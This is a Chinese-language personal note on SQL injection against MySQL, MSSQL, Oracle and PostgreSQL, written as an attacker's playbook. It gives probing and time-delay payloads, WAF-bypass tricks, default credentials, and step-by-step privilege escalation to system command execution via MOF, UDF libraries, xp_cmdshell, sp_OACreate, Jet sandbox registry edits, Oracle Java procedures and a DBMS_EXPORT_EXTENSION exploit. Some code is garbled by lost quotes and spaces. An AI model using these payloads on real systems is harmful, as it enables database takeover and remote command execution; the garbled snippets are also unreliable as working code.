前言
本文叙述了在Mysql、MSsql、Oracle、PostgreSQL平台下的sql注入探测方式与利用,作为个人笔记,没有框架以及中间件的参与。
文章的内容并不全面,日后有接触新的方法会有补充。
探测方法
第一贴出增删改查的基本语句,加粗部分为用户可控:
mysql:
select item from table wherevaluelike db_value;
select item1,item2 from table where **value1 **like db_value order by **value2 **limitvalue3;
update table set db_value1=‘value1’,db_value2=value2where value3 =db_value3;
insert into table set item1= value1 ,item2=value2;
delete from table where item=value1order byvalue2;
mssql:
select item from table wherevaluelike db_value;
select item1,item2 from(
select item1,item2,row_number()over(order by value1 ) as num from table) as tablename
where num betweenvalue2andvalue3;
update table set db_value1=‘value1’,db_value2=value2 where value3 =db_value3;
insert into table (item1,item2) values ( value1 ,value2);
delete table where item=value1order byvalue2;
oracle:
select item from table wherevaluelike db_value;
select item1,item2 from
(select rownum r,item1,item2 from
(select item1,item2 from table2 order byvalue1) table
where rownum <=value2) table1 where r>value3;
update table set db_value1=‘value1’,db_value2=value2where value3 =db_value3;
insert into table (item1,item2) values ( value1 ,value2);
delete table where item=value1order byvalue2;
postgresql:
select item from table wherevaluelike db_value;
select item from table limitvalue1offsetvalue2;
update table set db_value1=‘value1’,db_value2=value2where value3 =db_value3;
insert into table (item1,item2) values ( value1 ,value2);
delete table where item=value1order byvalue2;
然后是探测步骤和语句:
这些语句分开的时候感觉都一样,但是把上面的语句加粗的地方替换成探测语句就很明显了。
1.第一输入单引号、双引号,或者分号、小括号加引号
如果后两个响应的结果与第一个不同(或者报错),则进入下一步测试,若结果有差异,基本可以确定是布尔类型的注入;
p=value
p=value -> p= and 1 =1 => p= and 1 =2
p=value” -> p=” and “1”=1″ => p=” and “1”=2″
2.然后往payload中插入字符串连接符,判断数据库类型;
p=value
p=val ue -> mysql
p=val + ue -> mssql
p=val || ue -> oracle、postgresql
3.如果上面的探测没有得到结果的话就可以尝试延时盲注,通过响应的延时情况判断是否存在注入;
mysql:p= and sleep(5)#
mssql:p= if ascii(…)=5 waitfor delay 0:0:5 —
oracle:p= and dbms_lock.sleep(5)–
postgresql:p= and pg_sleep(5)–
常用函数
mysql:
group_concat()——拼接组里面的所有字符串,用逗号分隔
concat()——将多个字符串拼接成一个字符串
concat_ws()——同上
left(str,n)——返回字符串str的前n个字符
right(str,n)——返回字符串str的后n个字符
substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串
substring(str,b,len)——同上
mid(str,b,len)——同上
eval()——执行命令
system “…”——执行命令
load_file()——读取本地文件
into outfile——写文件
information_schema——保存着mysql维护的所有其他数据库信息(库名、表、用户及其权限等等)
mssql:
is_srvrolemember(‘’)——查询权限,sysadmin:系统管理员;db_owner:库权限;public:公共权限
opendatasource(provider_name,init_string)——用于反弹注入
|——provider_name:注册为用于访问数据源的OLE DB提供程序的PROGID的名称
|——init_string:链接字符串=链接地址,端口,用户名,密码,数据库名
convert()——数据类型转换,例:convert(int,@@SERVERNAME)——获取服务器主机信息
exec()——执行命令
cast()——将查询的数据转化成字符型
len()——判断字符串长度
substring(str,b,len)——从字符串str的位置b截取长度为len的子字符串
oracle:
exec()——执行命令
substr(str,b,len)——从字符串str的位置b截取长度为len的子字符串
length()——获取字符串长度
concat()——将多个字符串拼接成一个字符串
ascii()——将字符串转换为ascii码
userenv(parameter)——返回当前会话信息
postgresql:
system( )——执行系统命令
length()——统计字符串中字符数目
substring( str from b for len)——从字符串str的位置b截取长度为len的子字符串
ascii()——将字符串转换为ascii码
chr()——将ascii码转换成字符
绕过
正常情况下服务器会对用户输入进行严格把关,这里也总结了一些常见的waf和过滤器的绕过手段:
1.大小写变种
uNioN SeLEcT *frOm table wHeRe username= admin —
2.语句中插入注释(列如用注释取代空格,like取代”=”)
/**/UNION/**/SELECT/**/password/**/FROM/**/table/**/WHERE/**/username/**/LIKE/**/ admin —
3.将问题字符进行url编码,甚至二次编码
%2527%2f%2a%2a%2funion%20select%20password%20from%20table%20where%20username%20like%20%2527admin%2527–
4.使用动态查询执行
一般数据库允许动态执行sql查询,只需要向执行查询的数据库函数传递一个查询语句即可,这种办法可以用来绕过一些过滤器。若sql关键词被限制,可以尝试拼接:
Mysql: sel ect (” “需要编码成%20)
Mssql: sel + ect (”+”需要编码成%2b)
Oracle: sel || ect
postgresql: sel || ect
用char()和ascii码拼接,可绕过引号限制
mysql:没有这种函数,需要自定义
mssql:exec( select * from table )
oracle:execute immediate select * from table
postgresql:没有这种函数,需要自定义
5.用空字节
一般的输入过滤器都是在应用程序之外的代码实现的(IDS),这些系统一般是由原生编程语言开发而成,在原生编程语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。
%00 union select username,password from users where username= admin —
6.嵌套表达式
一些过滤器会先从用户输入里剥离特定的字符或表达式,再进行处理。
seleselectct
7.利用截断
过滤器一般会对用户提供数据进行多种操作,有时操作会包括把输入截断成最大长度或调整使其位于拥有预定义MAX长度的数据库字段内,通过插入截断字符串的量+一个分隔符(如单引号),破坏语句闭合,使其产生第二个注入点。
检测方法也很简单,第一个请求为偶数个单引号,第二个请求为奇数个单引号,若存在截断漏洞,其中一个会向查询插入奇数个单引号,从而引发一个未终结的字符串,并产生数据库错误。
第一次:
第二次:a
8.宽字节注入
所谓的宽字节,实际上就是两个字节,在转换编码的过程中,将单字节的编码结合其后的编码看做两字节,即将两个字符误认为是一个宽字符而解码,GB2312、GBK、GB18030、BIG5、Shift_JIS等宽字节编码的数据库存在此漏洞,utf-8是单字符编码,用这种编码的数据库不存在此漏洞。
?id=%d5%27
#返回:誠
#单引号没有被转义,存在宽字节注入
9.使用非标准入口点
许多waf会检查请求参数的值,但不会验证参数名,在通过搜索查询引用页进行注入可以尝试这种方法,除自定义请求机制外,许多应用会执行浏览分析功能,可以通过在搜索url的查询参数中嵌入攻击并在引用页头部提交该查询来执行sql注入。除参数名,在http头里的host、useragent等都有可能成为sql注入的攻击点。
GET /index.php HTTP/1.1
Host: www.example.org
Referer: http://www.google.com/search?hl=en&q=a ;+waitfor+delay+ 0:0:30 —
10.避开自定义过滤器
需要发挥想象力,例如可以给包名加双引号,在包名前添加跳转标签等。
11.利用二阶注入
这种攻击流程大致如下:
1.攻击者在请求中提交某种经过构思的输入
2.服务器存储输入,以便后面使用并响应请求
3.攻击者提交第二个(不同的)请求
4.为处理第二个请求,服务器会检索已经存储的输入并处理,导致注入的sql语句被执行
5.若可行,服务器会对第二个请求的响应中向攻击者返回结果
在个人信息页面更新自己的用户名为a +@@version+ a,这里经过了严格的过滤,语句没有被执行:
UPDATE table_users SET name= a +@@version+ a WHERE id=10;
后面查看个人信息的时候执行了之前构造的sql语句:
SELECT * FROM table_users WHERE username= a +@@version+ a ;
12.客户端sql注入
有一种场景是在客户端有一个客户端数据库,目前大多数情况下会被用于保存历史记录,如果安全限制做的不够好,攻击者可以通过一些方法把攻击语句插入到其他客户的数据库里,对其他用户造成攻击。这种攻击的效果取决于服务器规定如何使用在客户端的本地数据库,在结果判断上属于盲注的类型,由于结果不会返回给攻击者。但如果攻击者有客户端环境,在白盒情况下,可以通过反复测试得到一条精心构造后的攻击语句,然后将这条语句在线上使用,从而造成攻击。
13.混合攻击
指联合使用多种漏洞攻击服务器。
?uname=123+union+select+1, <script>alert(1)</script> ,1
利用
渗透测试的最终目的就是为了控制对方设备,简单来讲就是getshell,sql注入也是围绕着getshell服务的,能做到的有以下几点:
1.信息收集
mysql:
version()——数据库版本
@@version_compile_os——当前操作系统
@@datadir——数据库路径
@@basedir——安装路径
current_user()——当前用户名
session_user()——连接数据库的用户名
mssql:
@@version()——查看数据库版本
exec master..xp_msver——查看系统信息
xp_readerrorlog 0——查看日志文件(需要exec执行)
sp_helpsrvrolemember——查看用户所属角色信息
IS_SRVROLEMEMBER( sysadmin )——查看当前用户权限
sp_helpuser——查看当前用户
oracle:
v$version——数据库版本
product_component_version——也是数据库版本
dbms_output.put_line( dbms_db_version.version )——也是数据库版本,需要exec执行
ORACLE_HOME——数据库安装路径(直接查环境变量)
select member from v$logfile;——日志文件位置
select file_name from dba_data_files;——数据库文件路径
role_sys_privs——当前用户的角色权限
user_sys_privs——用户的系统权限
user_users——当前用户详细信息
user_role_privs——当前用户角色信息
postgresql:
version()——数据库版本
PGHOME——安装路径(环境变量)
user——查看所有用户
current_user——当前用户名
session_user——连接数据库的用户名
2.提权
mysql:
默认用户密码
root
mof:
在windows平台下,C:/windows/system32/wbem/mof/nullevt.mof这个文件在很短的时间内会以system权限执行一次,只需要把代码存储到这个文件中就可以实现提权。要实现mof有两个前提,第一要有mof目录可写权限,列如说root用户,其次是突破–secure-file-priv限制。
udf:
udf提权是利用自定义函数的功能,将mysql账号转化为系统system权限。版本>5.1,udf文件在安装目录下的lib/plugin内(默认不存在),利用udf提权有两个前提,其中一个是用户需要对mysql库有insert和delete权限,另一个和mof一样,需要突破–secure-file-priv限制。
具体步骤:
show variables like %version_% ;
#查看mysql版本是32位还是64位
show global variables like secure% ;
#值=空则可以写入导出文件
show variables like plugin% ;
#查看plugin目录
select xxx into dumpfile C:\Program Files\MySQL\MySQL Server 5.4\lib\plugin::$INDEX_ALLOCATION
#没有则需要新建
1.官网下载mysql源码
2.找到udf_example.def和udf_example.cc
3.往udf_example.cc里面添加自定义函数
4.在udf_example.def里注册刚刚添加的函数
5.vs编译
6.提取编译后的udf文件
#自定义函数插件的编写步骤
create function lookup returns string soname udf_example ;
#导入udf文件,win下为.dll后缀
select myfun( … );
#利用mysql的自定义函数myfun()执行命令 … ,结果显示在查询结果中
drop function myfun;
#删除函数myfun
还有一种是反弹shell提权,本质上也属于udf提权。具体过程是讲udf文件转换成16进制,写入到数据库中,然后再导出到/lib/plugin目录,接下来的步骤就和udf提取一样。
mssql:
默认用户密码
sa
sqlserver的提权有xp_cmdshell、SP_OACreate和沙盒提权三种;
xp_cmdshell:
这个提权方法出目前存储过程中,xp_cmdshell是这种存储中的其中一个能执行系统命令的脚本,要利用它提权需要先开启配置:
exec sp_configure show advanced options ,1;
exec sp_configure xp_cmdshell ,1;
reconfigure;
#接下来就可以执行系统命令了
exec master.dbo.xp_cmdshell … ;
SP_OACreate:
主要是利用OLE对象的run方法执行系统命令,也是存储过程中能够利用的提权办法,同样需要开启配置:
exec sp_configure show advanced options ,1;
exec sp_configure Ole Automation Procedures ,1;
reconfigure;
#配置开启后,先声明一个变量用于存储返回的对象
declare @a int;
#然后调用wscript.shell组件,将返回的对象存储到@a变量中
exec sp_oacreate wscript.shell ,@a out;
#调用cmd执行系统命令,执行结果直接输入到文件,因此返回值填null
exec sp_oamethod @a, run ,null, c:windowssystem32cmd.execommand > c:
esult.txt ;
exec sp_oacreate wscript.shell ,@a out;
沙盒提权:
和上面的方法一样,先开启配置:
exec sp_configure show advanced options ,1;
exec sp_configure Ad Hoc Distributed Queries ,1;
reconfigure;
#沙盒模式参数含义:
#0=在任何所有者中禁止启用安全模式;
#1=仅在允许范围内;
#2=必须在access模式下(默认)
#3=完全开启
exec master..xp_regwrite HKEY_LOCAL_MACHINE , SOFTWAREMicrosoftJet4.0Engines , SandBoxMode , REG_DWORD ,0;
#执行命令”…”
select * from openrowset( microsoft.jet.oledb.4.0 , ;database=c:/windows/system32/ias/ias.mdb , select shell(“…”) );
oracle:
默认用户密码
syschang_on_install
systemmanager
scotttiger
Dbsnmpdbsnmp
oracle的提权分两种,第一种是create session提权,另一种是create procedure提权。需要先获取java权限或java.lang.RuntimePermission权限,后者可以执行任意代码,具体步骤如下:
create session提权:
#创建包
select dbms_xmlquery.newcontext(
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate
create or replace and compile java source named “LinxUtil” as
import java.io.*;
public class MySh extends Object {
public static String shell(String args) {
try{
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime
.getRuntime()
.exec(args)
.getInputStream()));
String stmp,str = “”;
while ((stmp = br.readLine()) != null) str += stmp + ”
“;
br.close();
return str;
} catch (Exception e){return e.toString();}
}
} ;
commit;
end;
) from dual;
#获取java权限
select dbms_xmlquery.newcontext(
declare PRAGMA AUTONOMOUS_TRANSACTION;
begin execute immediate
create or replace function msh(p_cmd in varchar2) return varchar2 as language java name MySh.shell(java.lang.String) return String ;
;
commit;
end;
) from dual;
#调用函数执行命令
select msh( … ) from dual;
create procedure提权:
#创建包
create or replace and resolve java source named JAVACMD as
import java.lang.*;
import java.io.*;
public class MyShell{
public static void myexec(String command) throws IOException{
Runtime.getRuntime().exec(command);
}
}
/
#注册自定义函数
create or replace procedure mysys(command in varchar) as language java name MyShell.myexec(java.lang.String) ;
#调用函数执行命令
EXEC mysys( … );
还有一种属于漏洞提权,受影响版本<10.2.0.4,能够将普通权限用户提升成dba权限的用户,步骤如下:
登录低权限用户,如scott
然后输入下面代码:
Create or Replace
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/
执行后再输入:
DECLARE
INDEX\_NAME VARCHAR2(200);
INDEX\_SCHEMA VARCHAR2(200);
TYPE\_NAME VARCHAR2(200);
TYPE\_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS\_INTEGER;
GMFLAGS NUMBER;
v\_Return VARCHAR2(200);
BEGIN
INDEX\_NAME := A1 ;
INDEX\_SCHEMA := SCOTT ;
TYPE\_NAME := HACKERPACKAGE ;
TYPE\_SCHEMA := SCOTT ;
VERSION := 10.2.0.1.0 ;
GMFLAGS := 1;
v\_Return := SYS.DBMS\_EXPORT\_EXTENSION.GET\_DOMAIN\_INDEX\_METADATA(INDEX\_NAME =>
INDEX\_NAME,
INDEX\_SCHEMA=> INDEX\_SCHEMA,
TYPE\_NAME => TYPE\_NAME,
TYPE\_SCHEMA => TYPE\_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/
再次查看权限发现权限为dba用户。
postgresql:
默认用户密码
postgres
在postgresql中,低版本可以直接调用system()函数,>8.2版本则需要利用udf提权,具体步骤如下:
select * from pg\_language;
#查看支持的扩展语言,默认支持c
select lo\_create(9023);
insert into pg\_largeobject values (9023, 0, decode( 分片后的数据 )
…
select lo\_export(9023, /tmp/udf.so );
#编译完反弹shell后需要将文件分割成2048字节的块进行传输
create or replace function sys\_eval(text) returns text as /tmp/udf.so , myexec language c returns null on null input immutable;
#注册函数
select myexec( … )
#执行命令
drop function sys\_eval;
#删除函数
参考:
《sql注入攻击与防御第二版》
https://www.freesion.com/article/7583153270/


